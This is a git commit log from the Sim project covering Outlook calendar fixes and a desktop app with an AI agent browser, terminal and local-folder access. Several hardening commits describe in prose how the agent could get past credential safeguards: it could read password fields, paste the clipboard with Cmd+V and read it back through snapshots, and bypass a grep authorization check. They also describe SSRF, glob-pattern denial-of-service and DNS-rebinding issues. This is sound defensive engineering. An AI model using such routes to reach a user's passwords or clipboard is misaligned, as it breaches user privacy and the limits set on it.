Calendars.ReadWrite.Shared specifically. Given the asymmetry — broken consent
for all personal users vs. a shared-calendar feature gap — least privilege wins.
Calendar operations therefore target calendars the account owns. The calendarId
param descriptions now say a calendar shared by another user may return 403, and
the scope list carries a comment explaining why .Shared must not be re-added.
* fix(outlook): make retried event creates duplicate-safe via transactionId
The retry config opts POSTs in via retryIdempotentOnly:false, but the executor's
isRetryableFailure covers 429 AND 500-599 — not just the throttle the comment
justified. A 5xx returned after Graph had already committed a create would be
retried and produce a duplicate calendar event.
create_event now sends a transactionId, which Graph documents for exactly this:
it discards a repeat POST carrying an id it has already seen. The request body is
built once per execution (formatRequestParams runs before the attempt loop), so
the id is stable across retries of a call and unique between calls.
The retry comment now describes what actually retries and why each non-idempotent
method is safe: PATCH replays the same partial body as a no-op, and respond is
state-idempotent though a post-commit retry can send the organizer a second
notification — accepted deliberately, since Graph exposes no transactionId for
accept/decline and failing outright under throttling is worse.
* fix(outlook): tighten date-only detection and align online-meeting copy
Final validation pass over the calendar integration.
- isDateOnly matched "contains no T", so a space-separated datetime
(2025-06-03 10:00) counted as date-only: the time was discarded and the value
built as '2025-06-03 10:00T00:00:00', which Graph rejects. It now matches
YYYY-MM-DD strictly, and buildGraphEventDateTime normalizes the space form to
ISO rather than mangling it, so a natural input works instead of 400ing.
- The isOnlineMeeting param descriptions still claimed Graph 'uses the mailbox
default provider' — the same unverified mechanism already removed from the code
comments. They now state only what the docs and the author's live testing
support: the join URL depends on the providers the mailbox allows, and stays
null on personal accounts.
- Adds blocks/blocks/outlook.test.ts following the repo's per-block test
convention: every calendar operation resolves to a registered tool in
tools.access, supplies all required tool params, emits no params the tool
cannot accept, maps one-to-one onto the calendar tools, and the calendarId
canonical group and sendResponse default are pinned.
---------
Co-authored-by: Waleed Latif <walif6@gmail.com>
|
||
|
Theodore Li
|
e369997eac |
fix(db): encode Date binds in raw sql, document the fetch_types contract (#6040)
* fix(db): encode Date binds in raw sql, document the fetch_types contract * fix(testing): drop template placeholders from mock error message for biome |
||
|
Vikhyath Mondreti
|
f69c624793 |
fix(desktop): origin settings for prod, github login improvements (#6050)
* top on a desk * fix auth stuff * intermediate state * update * local filesystem fixes * Huge * fix banner * ci: disable desktop release + e2e in CI for now The desktop-release reusable-workflow call requested contents: write, which ci.yml's permission grant (contents: read) rejects — invalidating the whole CI workflow. Desktop is tested locally for now; signed builds remain available manually via desktop-release.yml workflow_dispatch, and desktop e2e via its own workflow_dispatch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * ci: exempt electron from the release-age gate (time-boxed) electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a drop-after date, following the vetted-typescript precedent. Verified the rest of the desktop dependency set clears the 7-day gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: brand app icon (packaged + dev Dock) - build/icon.icns regenerated from public/logo/primary/large.png on the Apple icon grid (824px body, r=185.4, centered on a transparent 1024 canvas), compiled with iconutil - dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) — unpackaged Electron otherwise shows its default atom icon - un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon, entitlements), which the /apps/**/build output rule was swallowing — the icns and entitlements were never actually tracked - revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary signature (app killed at launch on arm64); the local ad-hoc deep-sign flow doesn't need it Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: switch app icon to the b&w brand mark White rounded tile with the black sim wordmark (from public/logo/b&w/large.png), replacing the purple variant. Same Apple icon grid geometry (824px body, r=185.4, 1024 canvas). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix banner * Fix * clean up launcher * fix oauth * update desktop app * Improve browser use and consolidate desktop app * Desktop app ui cleanup * Updates * Updates * remove dev tool option * Browser updates * Fix electron bug * Browser shortcuts * lifecycle * feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784) * feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core) * feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev Re-applies the browser-agent SSRF guard and hardening onto dev's evolved desktop files (dev rewrote session/driver/handoff/index and split out errors.ts/keyboard.ts): - session.ts: agent-partition onBeforeRequest is the SSRF choke point — DNS-resolving check (fail-closed) for document navigations, synchronous literal-IP backstop for subresources. - driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a clean model error; also adopt shared sleep/getErrorMessage and drop the local reimplementations + banner separators. - index.ts: local-only crashReporter (native minidumps, no upload) + CSP fallback wired into the app session. - window.ts: record the crash-dump dir on renderer_gone. - config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname (also removes the dead bare '::1'). - cdp.ts: per-WebContents callbacks so a background tab's events reach its own driver. - updater.ts: the manual check now surfaces network/manifest failures instead of silently swallowing them. - README: correct the App Sandbox / security-scoped-bookmark note. - electron-mock: webRequest.onBeforeRequest + crashReporter stubs. - api-validation: annotate dev's validated-envelope double-cast; bump the route-count baseline 964→965 for dev's already-merged route (ratchets stay tight; non-Zod and double-cast at baseline). Skipped as moot (dev already did them independently): launcher isVisible removal, decideStartRoute param drop, local-filesystem clear() removal. * chore(desktop): biome format install-local.ts (pre-existing dev lint failure) * refactor: apply audit cleanup (reuse + simplify) - domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already validates and returns false for non-literals). - session.ts: use shared getErrorMessage instead of the local error ternary (the file already imports it). - tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise. - updater.ts: distinguish the synchronous-throw log from the async-rejection log on the manual update check. * refactor: /simplify pass + review fixes - url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on timeout) so a slow/hung resolver can't suspend the check and the onBeforeRequest callback indefinitely (Greptile P2); + test. - Finish the reuse consolidation the earlier pass missed: session.ts second error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts (fixes the check:utils banned-pattern CI failure). - driver: document why the tool-level checkAgentUrl coexists with the onBeforeRequest enforcement seam (clean model error; loadURL rejection is swallowed). * fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor) * refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787) unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so client code can share them without pulling ipaddr.js into the browser bundle. ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts: urls.ts and its three client importers (mcp queries, oauth probe, oauth url-validation) now use the single shared definition. * Desktop app fullscreen mode * fix(copilot): report closed browser session as a distinct terminal tool error A dead agent browser session used to answer every browser tool with an indistinguishable generic ~30s IPC timeout, which the model retried indefinitely (one turn: 59 minutes of failing browser_snapshot calls). - When the desktop app has reported the session closed, page-dependent browser tools fail immediately with an explicit session-closed message (and sessionClosed: true in the result data) instead of burning the full timeout per call. browser_navigate / browser_open_tab / browser_list_tabs still run, since they can start a new session. - A failure whose session died mid-call (e.g. during a takeover) gets the same tag appended, so the model learns the terminal cause rather than seeing a plain timeout. Companion to mothership's tool_failure_loop circuit breaker. * fix(desktop): route Cmd+W to focused browser tabs * fix(desktop): reserve macOS title bar safe area * fix(desktop): limit title bar safe area to login * fix install script * feat(desktop): improve local folder settings * feat(desktop): harden local capabilities and window chrome * fix(invitations): live refetches * fix(desktop): make manual update checks use updater state * fix(desktop): review fixes — OAuth error handling, query freshness, invitations Findings from an end-to-end review of the desktop work, fixed and verified. OAuth connect/login handoff: - Add a friendly /oauth-error landing page + onAPIError.errorURL so provider Cancel/Deny (which Better Auth redirects before the flow state is parsed) no longer dead-ends on a 404; re-initiating supersedes the idle loopback. - Stop a post-consent failure from reporting success (drop the baked-in errorCallbackURL param that collided with Better Auth's appended code; coerce an array error defensively on the complete page). - Guard the desktop connect listener with the same context-age check the web routers use, so an abandoned flow can't mislabel a later completion. - Clear an orphaned pending handoff when a loopback re-bind fails. Query freshness (desktop refetchOnWindowFocus): - Pin refetchOnWindowFocus off on queries that seed editable forms (environment/secrets, credential detail, schedules) so a background focus refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so returning to a large table doesn't fire N heavy envelope fetches. All no-ops on web (default already false). Invitations (in-app pending invitations): - Map accept/decline failures to friendly copy instead of raw machine codes. - Invalidate subscription + refresh session on accept (parity with the email path); reconcile the list on failure (onSettled) so dead rows drop. - Gate the modal's query on open so it no longer fetches on every app load. CI: - Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist it as a non-boundary route (input-less, YAML) so the contract audit passes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * updates * fix(desktop): use workflow colors for environment icons * fix(desktop): use orange for dev icon border * fix(login): change one time token generation to GET * improvement(desktop): reveal local folders from settings Local-folder rows rendered their glyph at 20px inside the bordered credential tile — chrome meant for brand and logo icons — above a static subtitle that repeated what the section already said. The row now shows a plain 14px folder icon and the folder name alone. Clicking a row reveals the folder in the OS file manager through a new reveal_mount bridge op, which resolves the opaque localfs URI to a live grant and requires an active user gesture, matching the other grant mutations. The absolute host path still never crosses the bridge. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * improvement(desktop): row actions menu for folder grants, larger version text Revoke moves from an always-visible chip into the canonical RowActionsMenu, matching the MCP server rows. The version value moves off text-caption onto text-sm — it was rendering at the subtitle size, which also shrank the "x -> y on restart" line that matters most. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * feat(desktop): improve browser tab usability * fix(desktop): thicken environment icon borders * fix(desktop): strengthen environment icon borders * feat(desktop): support multiple windows and harden the agent browser Sim can now open many full windows in one process. The embedded browser is still a single native surface, so exactly one window owns it at a time. Ownership transfers only to the focused window: without that rule, two windows both showing the browser reclaim it on every bounds heartbeat and re-parent the native view back and forth roughly once a second while Sim sits in the background, where no window is focused. A destroyed owner is now forgotten rather than left rejecting updates from the window actually on screen, and a closing window's release is honoured even though Electron destroys it before emitting `closed` — previously that release was dropped and the next layout could re-parent the browser onto a window that never asked for it. The agent's password boundary is now enforced rather than assumed. It was treated as settled but had four ways through: `browser_press_key` sent trusted CDP keystrokes to whatever held focus, `clickElement` focused credential fields, `readActiveElementState` returned a preview of any focused value, and snapshots printed the contents of revealed password fields. Detection also used `instanceof HTMLInputElement`, which is realm-bound and returned false for inputs inside same-origin iframes — the nested login forms that need it most. Detection now matches on tagName/type/autocomplete, the keystroke guard runs in the driver where trusted CDP input is visible, and typing re-checks the real target before inserting, since login forms advance focus between the username and password steps. Signing out clears the embedded browser's profile. Its cookies, cache, pinned tabs, browsing trail, and reopen list all survived sign-out, so the next account on the machine inherited the previous user's live sessions. Partition hardening is keyed per session instead of a process-wide flag, which would have left a second partition with no permission handlers, no SSRF filtering, and no download blocking — silently, and still type-checking. Adds the first tests for page-functions.ts, including a serialization contract check: those functions ship to the page as String(fn), so a reference to module scope passes every other test and fails only against a real page. * fix(desktop): close clipboard, glob DoS, and authorization holes Found by a full audit of the desktop app against origin/staging. Each of these was measured or asserted rather than reasoned about. The agent could read the user's system clipboard. `browser_press_key('Cmd+V')` pasted it into a focused field and the next `browser_snapshot` returned it as an ordinary `value` — snapshots redact password fields, not pasted content, and clipboards routinely hold a password copied out of a manager. The credential guard added earlier did not catch it: `insertedTextFor` returns undefined whenever `meta` is set, so `Cmd+V` was classified as not text-inserting. `Control+V` reached the same place because the macOS normalizer rewrites it. Clipboard combos are now refused before dispatch rather than by withholding the CDP `commands` array, since off macOS these are Blink-native and a key event alone still performs them. Copy and cut go too — they clobber the user's clipboard as a side effect. A glob pattern could freeze the whole app. Micromatch compiles to a backtracking regex whose cost is exponential in wildcard count: measured against a single 46-character path with the options this code passes, ten wildcards took 2.7s and twelve took 43s, once per scanned entry, in one synchronous call that the surrounding abort checks never get to interrupt. That is the main process, so every window, the menu bar and the tray freeze with Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex` reports the generated source as safe, so it was no defense. Patterns are now bounded at six wildcards, which keeps the worst case near 2ms while leaving headroom over real patterns (which top out around four). A timing probe backs it up, with a budget loose enough that JIT warmth and machine load cannot make it fire on a legitimate pattern — a tight budget proved flaky in both directions. The grep authorization guard compared `request.pattern !== args.pattern`, so a tool call carrying no pattern made that `undefined !== undefined` and the guard passed — grep then fell back to searching the renderer's own `query` across the whole grant. `include` and `query` were never bound at all, letting a renderer widen a search or silently narrow results the agent believes are complete. The sibling glob case already had the `typeof` check, which is what made the asymmetry clearly unintentional. The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only because of a trailing slash. It now uses that helper, which also fixes a false negative on an explicitly stated default port. * fix(desktop): stop double sign-out, stranded retries, and redundant writes Three correctness bugs from the same audit. Menu Sign Out tore down the session directly instead of going through the lifecycle coordinator, so it skipped the in-progress guard — and its own cookie removal then tripped the coordinator's cookie watcher into a second concurrent teardown, duplicating the sign_out event, the storage clear, and the /login load. Teardown also existed as two divergent copies. The coordinator now exposes `signOut()` and owns the single path; the menu just calls it. That `tearDownSession` is no longer imported in index.ts is the check that it landed. Offline recovery could strand permanently. The auto-retry loop stops itself before calling `retry()`, and `retry()` never re-armed the load watchdog, which is started once per window. So if a retried load hung — precisely what the watchdog is for — no load event fired and no timer remained anywhere; the user sat on the offline page until the window was closed. `retry()` now re-arms before loading. Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for every tab, pinned or not, with no change check, and the settings store compares with `===` so a freshly built array never matched. Any single-page app therefore triggered a synchronous mkdir + write + rename of the whole settings file on the main thread on every route change — writing `[]` over `[]` when nothing was pinned. The list is now fingerprinted, seeded at restore from what is already on disk so the first navigation after launch is not a write either. * fix(desktop): leaked timers, silent grep failures, and crashed tabs Second pass on the audit backlog, all verified against tests that fail without the change. Every browser tool call leaked a timer. The watchdog raced the tool against `sleep()`, which cannot be cancelled, so when the tool won — the normal case — the timer stayed pending for the full window, up to two minutes, dozens deep during an agent run. Replaced with a cancellable timeout cleared in a `finally`; a test asserts the fake-timer count is unchanged across a call. An invalid grep regex reported "no matches". A SyntaxError from `new RegExp` returned an empty result set, which tells the model the string appears nowhere in the user's files — a factual claim it acts on, when the search never ran. It now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while there, since it was only inside it to be re-thrown. A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still named it, making `requireTab()` report "no page is open" with other tabs open, and the panel went blank with no recovery. `render-process-gone` now drops the tab, advances the active id, and reports session closure when it was the last. `probeSession` cleared its abort timer inline after the await, so a thrown fetch — the case the function exists for — skipped it. Moved to `finally`, which also brings the body read inside the deadline. One vanished file failed a whole directory listing: `Promise.all` over per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory. Churning directories like build output would intermittently fail to list. Removed the `session-lifecycle -> browser-agent/driver` import edge, which dragged the entire browser subsystem and its module-load `nativeTheme` listener into the auth path to reach one four-line function. `clearBrowserProfile` is now a required dependency wired from index.ts, which already owns both sides. Also deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers. Added a channel-parity test between the preload bridge and the IPC table. They share ~20 channel names as bare string literals with nothing tying them together, so a typo on either side is a silently dead feature that type-checks and ships. Verified it fails on a one-character change. * fix(desktop): reach framed elements and harden the loopback sign-in Two behaviour fixes from the audit backlog. Interaction with same-origin iframes was broken. The snapshot deliberately walks into those frames and hands the model ids for what it finds, but every interaction then tested `instanceof HTMLInputElement` against the top frame's constructors — false for nodes owned by a frame, because element wrappers are realm-bound. So the driver reported a real `<input>` as "not a text input", which took out framed login forms and editors that put a contenteditable body in an iframe, such as TinyMCE. Framed selects reported "not a select" and framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type the method being called, matching the realm-safe approach the credential guard already used. The native value setter is taken from the element's own realm: calling the top frame's setter on a frame's node throws "Illegal invocation". Snapshot value reporting follows the same rule, which is safe because the credential redaction above it is realm-safe and runs first. The loopback sign-in server could be cancelled by anything on the machine. It validated only the shape of the returned state, then tore the one-shot server down and dispatched, leaving the real constant-time comparison to the callback. So a request carrying any well-formed state killed an in-flight sign-in — and the port is reachable by any local process and by any page the user has open via a no-CORS GET, which cannot read the response but does not need to, since the side effect is the kill. The state is now checked before anything is torn down, and a Host that does not name the loopback is refused, which closes the DNS-rebinding shape. * refactor(desktop): drop duplicated helpers and stop logging query strings Net -3 lines, and one of them was a real leak. `navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare `.slice(0, 200)`, which keeps the query string — the five other log sites in the app go through `scrubUrl` for exactly that reason. Tokens and signed parameters live in query strings, so a blocked-URL warning could write one to disk. Both now scrub. `local-filesystem.ts` carried a private `isRecord` byte-identical to `isRecordLike` in `@sim/utils/object`, and four more sites inlined the same check. All now use the shared helper, which also tightens three of them: the inline versions omitted the array exclusion, so an array satisfied a check that then cast it to a record. `tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s `truncate` exists for. Titles between 58 and 60 characters now get an ellipsis where they previously did not — cosmetic, in a tray menu label. Removed the `getTabsState` passthrough in the driver, a one-line re-export of the session's own function, and renamed the session-level clear to `clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the driver's being the composite that also clears the browsing-trail registry; index.ts was already aliasing at the import to tell them apart. Two things deliberately not done. The hand-rolled semver in updater.ts stays: replacing it needs `semver` plus `@types/semver` as new declared dependencies in the Electron main process, and the 90 lines it would delete are already covered by eight assertions that I verified match the library's behaviour case for case. Note the same prerelease comparison is duplicated in apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both. No barrel for browser-agent either: routing `security-guards.ts` through one to reach a single leaf function would pull the whole browser subsystem into its module graph, which is the edge just removed from session-lifecycle. * refactor(desktop): move browser compositing out of the session module session.ts held five responsibilities in one flat namespace: 1,061 lines, 29 exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is a comparable 1,125 lines with two exports and no ambient state — size was never the problem, the shared mutable namespace was. Compositing is the part worth isolating. Where the native view sits, when it is visible, which window owns it, the renderer bounds lease, and the occlusion snapshot are the most intricate logic in the browser and are almost entirely separable from tab bookkeeping. They now live in panel.ts (342 lines) and session.ts is 792, with 15 bindings instead of 26. The two modules were mutually dependent, which is what makes this kind of split go wrong. Rather than events or a shared store, panel.ts takes the four things it needs from the session through one PanelHost passed to initPanel — the same shape as the existing initSession — so the import graph is one-way and there is no new indirection to trace. Tab changes reach the panel by the session calling layout(), exactly as before. Two behaviours became explicit rather than implicit in the move: detachIfAttached replaces callers reading `attachedView` to decide whether a closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`. Nothing about the split is verified by the split itself, so the bounds lease got characterization tests first. It had none — there was not a single fake timer in the suite — despite being the mechanism that hides the view when the renderer crashes or wedges. Both tests were confirmed to fail against a broken lease before the refactor began. The other 47 tests were not rewritten: only the module their calls address changed, which is the useful signal that behaviour was preserved. Deliberately not split further. Focus tracking stays with tabs because it keys off tab ids, and profile teardown stays put; separating either would be taxonomy rather than decoupling. * refactor: drop the legacy local_* filesystem tool shim Granted folders are addressed through the ordinary VFS: the model calls read/grep/glob against paths under user-local/, exactly as it does for workspace files. A parallel local_read / local_grep / local_glob / local_list / local_stat / local_mount_directory / local_list_mounts / local_forget_mount / local_stage_file toolset existed alongside it, recognized but never advertised, so an in-flight checkpoint written by an older desktop build could still finish. There are no older desktop builds. apps/desktop is at version 0.0.0, the only artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no floor, and the app does not exist on staging at all — the v0.7.x tags are the web app's. Nothing can have persisted a checkpoint naming these tools, and nothing advertises them: they are absent from the generated tool catalog and from mothership's catalog. The shim was defending against a past that never happened. Removes the name table, the legacy request builder, the server-side LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop authorization switch, and nine display labels. isDesktopFilesystemToolCall collapsed into isUserLocalVfsToolCall, which it had become a synonym for. Two tests went with it. One asserted that local_list_mounts routes to the desktop; the test immediately after it already covers the real path, an ordinary read against a user-local path. The other asserted that legacy names cannot open a folder picker, revoke a grant, or upload bytes — that property now holds because no such tool name exists, which is a stronger guarantee than refusing one. * refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases These beta surfaces are not a direction we are taking, so they come out rather than staying behind a flag. Gone: the workflow alias modules (path resolution, DB-backed resolver, .plans/.changelogs backing provisioning), the alias materialization in the copilot VFS, the alias write paths in resource-writer and workspace_file, the sandbox alias mounts in function_execute, the reserved backing-path guards across mkdir/mv/create, and the alias resolution in the chat home file picker. xlsx survives but changes owner. It was gated twice across the repo boundary: mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the compile path on mothership-beta. Those live in separate AppConfig applications, so an operator had to flip two flags in two consoles, and off-hosted Sim fell back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership controls whether the model ever learns xlsx exists, so if it is never offered it is never requested and the second chokepoint only created a way for the two halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner. With its last consumer gone, the mothership-beta flag and the MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo are harmless until removed separately: they only inject an env var nothing reads, and createEnv runs with skipValidation. The reserved-system-file/folder concept goes with the aliases, since it existed only to hide the backing rows. includeReservedSystemFiles and includeReservedSystemFolders are removed rather than left as options every caller passes true to. backingVfsPath is removed for the same reason — nothing sets it once aliases are gone, so it was an always-undefined field on tool results. Test coverage is preserved rather than deleted with the feature. resource-writer.test.ts looked alias-only but three of its eleven cases cover the generic create path that survives; those are kept and the file retitled. Two open_resource tests and one output-path test used alias-shaped strings while asserting generic behavior; retargeted or dropped where a sibling already covers it. * refactor(copilot): remove the dead planArtifact column plumbing copilot_chats.plan_artifact has no writer and no reader that does anything with it. No client sends it, nothing renders it, and its whole history is fork-chat and duplicate-chat plumbing faithfully copying a column that is always null — the one change that might have populated it (mothership v0.8) was reverted. Removed from the schema, the copilot API contract, the chat lifecycle column sets, the fork route, superuser import, the data drain, the update-messages write path, and the legacy chat detail response. No migration here on purpose. The column stays in the database, orphaned and null; dropping it is a separate deliberate step rather than something that rides along with a code cleanup. Note that the next drizzle-kit generate will now want to emit the DROP COLUMN, and check-migrations-safety will ask for it to be annotated — that is the right moment to decide, not now. Mothership never saw this field; it is Sim-side only. * chore(copilot): sync the tool catalog for load_skill Picks up the new load_skill tool plus the grep description that dropped its stale reference to VFS "plans" entries. Generated from copilot/contracts/tool-catalog-v1.json. * refactor(copilot): follow the load_custom_tool rename to load_mcp_tool Mothership renamed the loader once it was clear MCP was the only catalog kind it could match, and dropped the single-valued `type` parameter. The two prompt strings that teach the model the call shape are updated to load_mcp_tool({ name }). load_custom_tool stays in the UI hide-list next to load_agent_skill so tool rows in historical transcripts keep rendering; nothing emits it any more. * chore(copilot): sync the tool catalog and hide load_skill in the UI load_integration_tool and list_integration_tools now publish route go/sync instead of sim/async. Nothing changes in Sim's behavior — they always ran in Go; the contract had been wrong. load_skill joins the hidden tools. It is the same shape as the other loaders already there: the agent pulling in a reference guide before doing the work is a step toward the action, not the action. Sim's display-coverage test caught that a newly added visible tool had no title or completed verb, which is the guard working. * fix(auth): handle session expiry in the app, not the desktop shell The workspace auth gate is a Server Component, so it only re-evaluates on a server render. A session that expired or was revoked mid-visit left the SPA mounted and silently 401ing every request, with nothing to redirect it. The desktop shell had grown its own detector for this: a 401 listener over /api/*, a session probe, and a native "your session has expired" prompt. It could only infer session state from cookie events and HTTP statuses, and it inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during teardown) and on launching already signed out (the window still shows the restored route while the web app redirects). Those were nearly all of its firings, since a 30-day sliding window means real expiry is rare. Generalizes the impersonation-expired screen instead, which already had the right shape: it keys off the session query settling to null after a session that was live. A signed-out visitor never arms it, and `error` is excluded so an offline blip cannot read as an expiry. The session query now refetches on focus for every session, not just impersonation ones, so returning to a window that slept through its session re-checks it. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(copilot): port the scheduled-task and VFS fixes onto staging-v4 Replays the sim-side prompt-audit work on top of staging-v4. complete_scheduled_task was filtered out of the execute route's response payload, so an until_complete job could report completion and still be rescheduled; the post-run bookkeeping now also refuses to revive a job that already completed. Also clamps browser_wait_for's timeout the way the desktop agent does, and replaces the oversized-read error's offset/limit advice, which sent the model into a guaranteed retry loop. * feat(desktop): let the model actually see browser screenshots browser_screenshot captured an image and then threw it away. The renderer stripped the data URL and substituted a note, and the tool's own description told the model not to bother: "Dead end for perception." So the agent was blind to anything not expressible as DOM text — canvas, charts, maps, images, rendering and layout bugs. The copilot has carried the machinery for this all along. A tool result shaped as { content, attachment: { type: "image", source: { type: "base64", ... } } } is serialized into a real image content block, with the media type sniffed from the bytes rather than trusted from the declaration, and degraded to a text stub when the routed model has no vision so the provider never 400s. The screenshot result is now reshaped into that contract instead of discarded. A malformed data URL still falls back to a note rather than shipping an attachment the provider would reject. Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is relative to CSS pixels, so this also sidesteps the device pixel ratio — an unclipped capture on a retina display returns a 2x image, which was several hundred kilobytes for no legibility the model could use. The description is rewritten to bias toward visual questions only: appearance, layout, rendering, charts, canvas. Reading content or finding something to click stays with browser_snapshot, which is cheaper and returns the element ids a screenshot cannot. That distinction is structural, not just advisory — having seen the page does not let the agent act on it. Companion change in mothership generalizes the tool-result inline-budget exemption from "the read tool" to "any result carrying a model attachment". Keyed on the tool name, an oversized screenshot fell through to the artifact branch: the image was replaced by a reference the model cannot open, and the result still reported success. Silent, and it would have hit almost every call. * fix(desktop): polish browser panel and environment tray icon * fix(desktop): enlarge environment tray markers * fix(desktop): smooth environment tray markers * refactor(copilot): consolidate resource mutation tools * chore(copilot): clean up VFS follow-ups * fix(desktop): round the dev tray marker * feat(desktop): add integrated terminal resources * Fix electron app resize causing glitchy browser frames * feat(copilot): add persistent tool permissions * fix(copilot): retire stale tool permission prompts * fix(desktop): keep terminal rendering responsive * fix(desktop): preserve resource rendering continuity * feat(desktop): add browser tab duplication actions * feat(desktop): add terminal tab context actions * fix(desktop): allow browser agent localhost navigation * feat(desktop): add tmux-backed terminal sessions * fix(desktop): restore terminal scrollback per view * chore(copilot): sync updated wait tool contract * poll terminal session state for non regular shells * add terminal right click menu * feat(desktop): add terminal handoff and key batching * fix(desktop): reserve the traffic-light lane from the platform macOS draws the window controls itself, at a fixed physical size, above all web content. The page renders full-bleed beneath them, so it has to reserve that lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with page zoom and the OS-drawn lights do not, so zooming out shrank the reservation until the lights were drawn over the sidebar toggle, and the header row below sat inside their band. Electron's `titleBarOverlay` publishes the controls' real geometry to the page as the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation derived from them holds its physical size. Measured across zoom 0.58-1.2, the reserved area stays within ~0.6 DIP, the residual coming from env values being quantized to whole CSS pixels. Every lane length now derives from those vars, so the login route and the mothership content offset were fixed without being touched — they already read `--desktop-title-bar-height`. Two of the replaced constants were also simply wrong: the platform reports the lane at 38px and the safe area at 81px, against the hand-measured 36 and 83. The toggle keeps a constant physical size beside the lights, expressed as a proportion of the lane rather than in pixels: a px literal would scale with zoom, and calc cannot divide a length by a length to recover a scale factor. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(desktop): avoid transient terminal tab labels * feat(copilot): attach browser and terminal tab context * feat(desktop): close tmux panes from terminal tools * fix(desktop): keep terminal tab icons stable * add right click to browser and cleanup terminal right click options * fix(desktop): reduce hidden panel background work * perf(desktop): shrink browser panel snapshots * perf(desktop): reduce terminal main process overhead * perf(terminal): pause work for hidden sessions * fix session arch for desktop * fix(desktop): replace exited terminal sessions * feat(copilot): persist desktop resources across chats * fix(emcn): keep resource tab widths consistent * fix(copilot): restore active client panels * feat(desktop): import Chrome browser data * fix(copilot): close resources before chat creation * feat(desktop): suggest imported browser sites * fix(desktop): autofill identifier-first sign-ins * fix resizing issues + cookies source * fix visits marking * chore(db): drop branch migrations ahead of staging merge 0264/0265 on this branch collide with staging's 0264-0270 on both the journal idx slots and the meta snapshot filenames. Reverting the migration artifacts to the merge-base lets staging's chain merge cleanly; schema.ts keeps the copilot changes and drizzle-kit regenerates a single migration on top of 0270 after the merge. Co-Authored-By: Claude <noreply@anthropic.com> * feat(db): regenerate copilot tool-permission migration on top of staging Replaces the branch's old 0264/0265 (dropped pre-merge so staging's 0264-0270 chain could apply cleanly) with a single 0271 generated against staging's schema: the permission-decision enum, the two copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools. Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed every reader, but the currently-deployed code still SELECTs that column, so dropping it in the same deploy breaks the old app version during blue/green overlap — `check:migrations` flags it for exactly this reason, and the honest fix is to defer rather than annotate around it. The column is retained in schema.ts marked @deprecated; drop it in a follow-up once this has rolled out. Also in this commit, all fallout from the merge itself: - pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf alongside the source change. Worth noting the stub exists because the suite's 203.0.113.10 is TEST-NET-3, which the real classifier correctly calls reserved — the old stub had been quietly disagreeing with production. - materialize-file test: dropped the reserved-system-folder case, which covered the workflow-alias backing folders this branch deleted. - api-validation route ratchet 977 -> 983 (this branch's new routes). Co-Authored-By: Claude <noreply@anthropic.com> * add cmd f * review pass * chore(db): drop branch migration ahead of staging 